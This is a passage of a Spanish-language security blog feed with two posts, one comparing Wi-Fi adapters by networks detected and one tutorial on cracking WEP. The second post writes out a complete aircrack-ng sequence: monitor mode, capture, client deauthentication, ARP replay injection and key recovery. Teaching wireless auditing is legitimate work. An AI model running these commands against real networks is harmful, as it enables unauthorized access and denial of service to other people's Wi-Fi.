href="http://4.bp.blogspot.com/-6Kjo706Gnq4/TaiGM1MCGsI/AAAAAAAABJY/tDX14IyvOv8/s1600/Alfa2WvsFL-2016G.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 303px;" src="http://4.bp.blogspot.com/-6Kjo706Gnq4/TaiGM1MCGsI/AAAAAAAABJY/tDX14IyvOv8/s400/Alfa2WvsFL-2016G.JPG" alt="" id="BLOGGER_PHOTO_ID_5595870092001942210" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Comparativa usando Vistumble en Windows 7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los resultados de la tarjeta interna de mi laptop &lt;span style="font-style: italic;"&gt;Dell Wireless 1510 Wireless-N WLAN Mini-Card&lt;/span&gt;.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-lVni5ca-Ygs/TaiGaGz0dJI/AAAAAAAABJg/qw_A5NqhIec/s1600/Dell%2BWireless%2B1510%2BWireless-N.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 214px;" src="http://3.bp.blogspot.com/-lVni5ca-Ygs/TaiGaGz0dJI/AAAAAAAABJg/qw_A5NqhIec/s400/Dell%2BWireless%2B1510%2BWireless-N.png" alt="" id="BLOGGER_PHOTO_ID_5595870320070522002" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;FL-2016G 1000mw&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-wmHfMQgm-TA/TaiGlTkWZ1I/AAAAAAAABJo/muCpv80LKc4/s1600/FL-2016G.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 214px;" src="http://2.bp.blogspot.com/-wmHfMQgm-TA/TaiGlTkWZ1I/AAAAAAAABJo/muCpv80LKc4/s400/FL-2016G.png" alt="" id="BLOGGER_PHOTO_ID_5595870512473859922" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Alfa 2000mw AWUS036NH&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-7GYWPFAZ-wI/TaiG1dQSRuI/AAAAAAAABJw/RQts5u3aaJ0/s1600/Alfa2000mw_AWUS036NH.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 214px;" src="http://2.bp.blogspot.com/-7GYWPFAZ-wI/TaiG1dQSRuI/AAAAAAAABJw/RQts5u3aaJ0/s400/Alfa2000mw_AWUS036NH.png" alt="" id="BLOGGER_PHOTO_ID_5595870789951964898" border="0" /&gt;&lt;/a&gt;Esta pruebas las realice desde windows 7 utilizando la herramienta Vistumbler. Ahora veamos utilizando la herramienta inSSIDer.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Comparativa usando inSSIDer&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Dell Wireless 1510 Wireless-N WLAN Mini-Card&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-lv_dkfcpIzM/TaiHFxcwksI/AAAAAAAABJ4/FW2vcMSy-Go/s1600/DellWireless1510Wireless-N.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 227px;" src="http://2.bp.blogspot.com/-lv_dkfcpIzM/TaiHFxcwksI/AAAAAAAABJ4/FW2vcMSy-Go/s400/DellWireless1510Wireless-N.png" alt="" id="BLOGGER_PHOTO_ID_5595871070250898114" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;FL-2016G 1000mw&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-uMgloNGjY98/TaiHUFdITyI/AAAAAAAABKA/SC-PoZZ-Cr8/s1600/RTL8187_FL2016G.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 227px;" src="http://3.bp.blogspot.com/-uMgloNGjY98/TaiHUFdITyI/AAAAAAAABKA/SC-PoZZ-Cr8/s400/RTL8187_FL2016G.png" alt="" id="BLOGGER_PHOTO_ID_5595871316139331362" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Alfa 2000mw AWUS036NH&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-PKoCcVEjXKY/TaiHjGZyvqI/AAAAAAAABKI/EuCd2BrG2Ho/s1600/AWUS036NH.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 231px;" src="http://1.bp.blogspot.com/-PKoCcVEjXKY/TaiHjGZyvqI/AAAAAAAABKI/EuCd2BrG2Ho/s400/AWUS036NH.png" alt="" id="BLOGGER_PHOTO_ID_5595871574091808418" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Usado NetStumbler&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;FL-2016G&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-q3DOWDXeaN8/TaiHyxQumbI/AAAAAAAABKQ/1ITBds7kK7s/s1600/FL2016G.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 136px;" src="http://4.bp.blogspot.com/-q3DOWDXeaN8/TaiHyxQumbI/AAAAAAAABKQ/1ITBds7kK7s/s400/FL2016G.png" alt="" id="BLOGGER_PHOTO_ID_5595871843294550450" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Alfa 2000mw AWUS036NH&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-PEkNDCGJTl4/TaiIDNHO5HI/AAAAAAAABKY/mwvFoM9asBk/s1600/Alfa2000mw.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 210px;" src="http://1.bp.blogspot.com/-PEkNDCGJTl4/TaiIDNHO5HI/AAAAAAAABKY/mwvFoM9asBk/s400/Alfa2000mw.png" alt="" id="BLOGGER_PHOTO_ID_5595872125648823410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Usando Kismet en BackTrack 4 R2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resultados del dispositivo &lt;span style="font-style: italic;"&gt;FL-2016G 1000mw&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-sN3SpBejR5Q/TaiIRic0HHI/AAAAAAAABKg/rmXflsUIZmI/s1600/FL-2016G_Kismet.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 336px;" src="http://1.bp.blogspot.com/-sN3SpBejR5Q/TaiIRic0HHI/AAAAAAAABKg/rmXflsUIZmI/s400/FL-2016G_Kismet.png" alt="" id="BLOGGER_PHOTO_ID_5595872371894656114" border="0" /&gt;&lt;/a&gt;Aquí los resultados de la &lt;span style="font-style: italic;"&gt;Alfa 2000mw AWUS036NH&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-qjpUHhljhBk/TaiIdN0zv8I/AAAAAAAABKo/YlHlr43sMds/s1600/Alfa2000mw_kismet.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 336px;" src="http://2.bp.blogspot.com/-qjpUHhljhBk/TaiIdN0zv8I/AAAAAAAABKo/YlHlr43sMds/s400/Alfa2000mw_kismet.png" alt="" id="BLOGGER_PHOTO_ID_5595872572516581314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En estas ultimas imágenes podemos ver que el FL-2016G ha detectado 16 redes y el Alfa 2000mw 72 redes, sin duda es muy grande la diferencia.&lt;br /&gt;&lt;br /&gt;Como lo he mencionado en otro lugares sin lugar a dudas me quedo con el alfa 2w. Hasta ahorita ha sido mi mejor adquisición, aunque es un dispositivo un poco caro pero bien lo vale cada peso invertido en el. Es el único dispositivo con el cual he realizado varias comparativas en diferentes Routers y a la primera todas asocia sin duda alguna, siempre se asocia correctamente a la primera y la inyección de paquetes es igual impresionante. Así que si quieres en verdad un buen dispositivo sin duda recomiendo el Alfa 2000mw, es un dispositivo muy bueno realizando auditorias y no solo eso, también es muy bueno para entornos con mucho ruido, donde existen muchas redes este dispositivo conecta y navegas tranquilamente, en cambio los demás dispositivos que tengo en algunas ocasiones fallan, algunos solo muestran que tienen suficientes señal como si tuvieras el AP a un lado de ti, pero a la hora de conectar nomas no conectan o la conexión no siempre es estable.&lt;br /&gt;&lt;br /&gt;Si vives en un lugar donde existen muchas señales seguro que este es el dispositivo recomendado, ahora si es un lugar donde no existen muchas redes puedes adquirir un dispositivo mas barato como es el Wifisky, Kasens etc. y seguro que sirve.&lt;br /&gt;&lt;br /&gt;Bueno en otro post veremos algún tipo de comparativa en cuanto a distancia realizando pings al router para mostrar que dispositivo mantiene la conexión siempre estable. Hasta la próxima.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-1424967717637080973?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=tA-9gYYC6p4:dVKrfySjh84:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=tA-9gYYC6p4:dVKrfySjh84:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=tA-9gYYC6p4:dVKrfySjh84:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=tA-9gYYC6p4:dVKrfySjh84:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=tA-9gYYC6p4:dVKrfySjh84:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=tA-9gYYC6p4:dVKrfySjh84:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=tA-9gYYC6p4:dVKrfySjh84:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/tA-9gYYC6p4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/1424967717637080973/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=1424967717637080973" title="14 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/1424967717637080973?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/1424967717637080973?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/tA-9gYYC6p4/comparativa-entre-alfa-2000mw-awus036nh.html" title="Comparativa entre Alfa 2000mw AWUS036NH vs FL-2016G" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-VDBJ6dXM3H0/TaiFs5l4wVI/AAAAAAAABJQ/jXTDTqPr-NA/s72-c/Alfa2W-FL2016G.JPG" height="72" width="72" /><thr:total>14</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/04/comparativa-entre-alfa-2000mw-awus036nh.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQFQX87fyp7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-4938908550116185884</id><published>2011-04-10T13:17:00.005-05:00</published><updated>2011-12-03T17:01:50.107-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T17:01:50.107-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="Packet Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Aircrack-ng" /><category scheme="http://www.blogger.com/atom/ns#" term="Videotutoriales BackTrack" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking Wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Cracking WEP" /><category scheme="http://www.blogger.com/atom/ns#" term="Alfa 2W" /><category scheme="http://www.blogger.com/atom/ns#" term="WiFi" /><title>Video Cracking WEP - Desasociando un cliente conectado al AP</title><content type="html">&lt;div style="text-align: justify;"&gt;En este vide se muestra el ataque 0 - Deautenticación para desasociar un cliente conectado al punto de acceso y asi obtener la clave WEP &lt;a href="http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy"&gt;(Wired Equivalent Privacy)&lt;/a&gt; de la red inalambrica. El objetivo principal de los paquetes de deautenticación es interrumpir-romper la asociacion entre el cliente conectadioy el AP (Access Point). El ataque 0 o de Deautenticación (--deauth) es también conocido como el ataque DoS (Denegacion de Servicio), pero no es el propósito del vídeo.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ataque 0: Deautenticación&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ataque 3: Reinyección de una petición ARP (ARP-request)&lt;/span&gt;&lt;br /&gt;Estos pasos también se puede revisar en el &lt;a href="http://delfirosales.blogspot.com/2011/04/ataque-0-deauthentication-ataque-3-arp.html"&gt;post anterior&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Herramientas&lt;/span&gt;&lt;br /&gt;* Backtrack 4 R2&lt;br /&gt;&lt;a href="http://www.backtrack-linux.org/downloads/"&gt;http://www.backtrack-linux.org/downloads/&lt;/a&gt;&lt;br /&gt;* Aircrack-ng (incluida en BackTrack)&lt;br /&gt;&lt;a href="http://www.aircrack-ng.org/"&gt;http://www.aircrack-ng.org/&lt;/a&gt;&lt;br /&gt;* Tarjeta WiFi que soporte el modo Monitor y la Inyección de paquetes&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;iframe src="http://player.vimeo.com/video/22198084" frameborder="0" height="344" width="625"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/22198084"&gt;Attack 0: Deauthentication + Attack 3: ARP Packets Injection = Key Found!!&lt;/a&gt; from &lt;a href="http://vimeo.com/user3144455"&gt;delfirosales&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;Comandos&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng --bssid 00:18:3F:18:85:C9 --channel 6 --write captura mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng --deauth 10 -a 00:18:3F:18:85:C9 -c 0C:60:76:71:D5:5B mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng --arpreplay -e WifiAttack -b 00:18:3F:18:85:C9 -h 0C:60:76:71:D5:5B mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aircrack-ng captura-01.cap&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Vídeo Online&lt;/span&gt;&lt;br /&gt;&lt;a href="http://youtu.be/jUeBo2qBNJg?hd=1"&gt;http://youtu.be/jUeBo2qBNJg?hd=1&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Descargar Vídeo&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.mediafire.com/?q9doqdr2539c06b"&gt;http://www.mediafire.com/?q9doqdr2539c06b&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-4938908550116185884?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=o-ggq_kSNW0:OBd1OLpaLYQ:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=o-ggq_kSNW0:OBd1OLpaLYQ:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=o-ggq_kSNW0:OBd1OLpaLYQ:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=o-ggq_kSNW0:OBd1OLpaLYQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=o-ggq_kSNW0:OBd1OLpaLYQ:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=o-ggq_kSNW0:OBd1OLpaLYQ:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=o-ggq_kSNW0:OBd1OLpaLYQ:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/o-ggq_kSNW0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/4938908550116185884/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=4938908550116185884" title="4 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/4938908550116185884?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/4938908550116185884?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/o-ggq_kSNW0/video-cracking-wep-desasociando-un.html" title="Video Cracking WEP - Desasociando un cliente conectado al AP" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><thr:total>4</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/04/video-cracking-wep-desasociando-un.html</feedburner:origLink></entry></feed>

